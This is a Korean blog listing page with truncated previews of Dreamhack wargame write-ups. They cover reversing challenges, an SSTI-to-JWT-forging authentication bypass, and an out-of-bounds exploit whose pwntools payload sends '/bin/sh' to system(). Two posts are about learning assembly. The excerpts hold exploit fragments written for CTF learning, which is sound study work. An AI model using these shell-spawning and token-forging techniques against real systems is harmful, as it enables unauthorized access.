호그와트 357

dreamhack rev-basic-9

흠냐 흠냐 주어진 문제의 함수를 분석해보면 간단하다 . 일단 입력한 값으로 xor연산 그 다음 바이트 가져와서 rax에 더한 후 eax로 옮기고 입력값에 대해서 ror 연산 5 수행 수행 조금 더 정제된 형식으로 표현하면 이전 바이트 값을 가져온 다음 이를 해당 위치의 key 배열 문자와 xor연산 나오는 값을 index로 하는 mem 값을 가져오고 이 값을 buf의 다음 바이트와 더한다 오른쪽으로 5번 rotation 하는 연산을 반복적으로 수행하고 있댜 ​ 수식적으로 표현하면 이렇게 된다 temp = rotl(buf[i * 8 + (8 - k) % 8], 5); temp -= mem[(unsigned char)(buf[i * 8 + 7 - k] ^ keyArray[7 - k])]; ​ buf[i * ..

호그와트 2022.02.14

드림핵 dreamschool ~~파도 ~~~ 별

지난 번 설명이 너무 불충분 했던 거 같아서 대략적으로 write up 을 잡아보자. 해당 워게임은 dreamhack dreamschool이다 일단 ssti취약점이 있다 !! 쿠궁 ssti 취약점을 어떻게 적용할 수 있을지는 이 글을 읽으시는 분이 직접 생각해보셔도 좋겠다. jinja2의 render_template_string 함수를 사용해서 ssti취약점 가능성이 있다는 것을 추리할 수 있다 어쨋든 그렇게 pub key를 구할 수 있게 되는데 이는 ​ import jwt import datetime ​ pub_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6eagXQyAgUyVHWJ/VvnUmB2W5\n0a85CI..

호그와트 2022.02.11

dreamhack Oob

int main() { int idx; ​ initialize(); ​ printf("Admin name: "); read(0, name, sizeof(name)); printf("What do you want?: "); ​ scanf("%d", &idx); ​ system(command[idx]); ​ return 0; } ​ 대충 이름을 물어보고 입력값을 받는다 배열에 index를 벗어나서 참조하면 원하는 system 명령어를 실행할 수 있다 그걸 개념적으로는 Out of Bounds라고 한다. ​ p.recvuntil(b"Admin name: “) payload = p32(name+4) payload += b”/bin/sh" p.sendline(payload) p.recvuntil(b"What do..

호그와트 2022.02.09

godbolt로 어셈블리어 이해하기

최근에 리버싱이나 어셈블리어 등을 아예 처음 접하는 사람들을 몇 분 만나서 하나씩 하나씩 다시 가르쳐주거나 이해시켜주어야 되는 일이 있었습니다 특히 정말 나이가 어린 분께 하나씩 가르쳐주는 건 어려운 일이었습니다 그러다보니 제가 리버싱과 어셈블리어를 처음 접했을 때를 떠올리게 되었습니다 ​ 리버싱 혹은 어셈블리어 등을 공부할 때 자주 듣는 말이 있습니다 “계속 접해보다보면, 계속 분석하다보면 잘하게 될거야” 너무나 맞는 말이라고 생각합니다 본인의 실력이 아직 얼마나 부족한 지 아는 저 역시도 계속해서 분석하고 슬로싱킹하면서 실력을 쌓아나갈 수 밖에 없다는 것을 너무 잘 압니다 지금도 분석하다보면 배우는 게 너무 많고 새로운 게 너무 많습니다. ​ 그런데 사실 초보분들이 가지는 문제점은 그 분석을 시작하자..

호그와트 2022.02.07

한계 돌파하기 리버싱과 시스템 해킹

*godbolt로 어셈블리어 이해하기 이 글을 참고해주시면 감사할 거 같습니다 ​ 최근에 내 한계점을 돌파할 수 있어서 너무 고맙고 재미있어서 이 글을 적게 되었다. 'godbolt로 어셈블리어 이해하기' 이 글에도 어느 정도 비슷한 내용이 적혀 있긴 한데 그거랑은 또 다른 큰 즐거움이었다. 몇 달 전부터 잘 이해가 안 되고 많이 어려움을 겪던 부분이 있었다. 단순히 어떤 특정 분야라고 뭉뚱그려서 얘기하기는 어렵지만, 아무튼 누구나 길을 정진하다보면 있을 수 있는 장벽이랄까 어려움이랄까 그런 게 있었다. 근데 오히려 그 장벽 앞에서 더 노력하니까 더 열심히 하니까 되긴 되더라. 안 되던 부분이 결국엔 이해되고 절대 안 풀릴 거 같던게 결국엔 되고 정말 어려운 것도 결국엔 해결 되더라 정말 너무 신기하고 ..

호그와트 2022.02.07

dreamschool (dreamhack)

문제에 딸려있는 dockerfile에 중요한 힌트가 있는 문제이다 원래 최신 버전에는 pub key만으로 개인키를 유추할 수 없게끔 되어있지만 이 문제는 의도적으로 그 부분을 삭제해버렸다 ​ 이 문제 안에는 중요한 취약점이 있는데 그 취약점을 통해서 pub key를 얻을 수 있도록 구성되어 있다 위에 말한 것처럼 삭제되어 있는 부분을 통해 개인키까지도 유추할 수 있도록 구성되어 있고 그것을 통해서 인증을 통과할 수 있다 ​ 그러나 자세히 보면 또 다른 인증이 있음을 알 수 있다 통과할 방법이 없는 거 같은데 그러면 어떻게 해야 하는 걸까? ​ headers = { 'cookie': f'token={token}'} url_base = 'http://host1.dreamhack.games:16766/s/드림..

호그와트 2022.02.02

드림핵 rev-basic-5

IDA를 통해 검증하는 함수를 보면 ​ __int64 __fastcall sub_140001000(__int64 a1) { int i; // [rsp+0h] [rbp-18h] ​ for ( i = 0; (unsigned __int64)i < 0x18; ++i ) { if ( *(unsigned __int8 *)(a1 + i + 1) + *(unsigned __int8 *)(a1 + i) != byte_140003000[i] ) return 0i64; } return 1i64; } 사용자 입력값을 a 라고 했을 때, a[n] 과 a[n+1] 을 더한 값이 byte_140003000 값과 같아야 한다고 한다. ​ byte_140003000 의 모습은 아래와 같은데, 이전 코드와의 모습을 볼 때 이것도 하나의..

호그와트 2022.01.28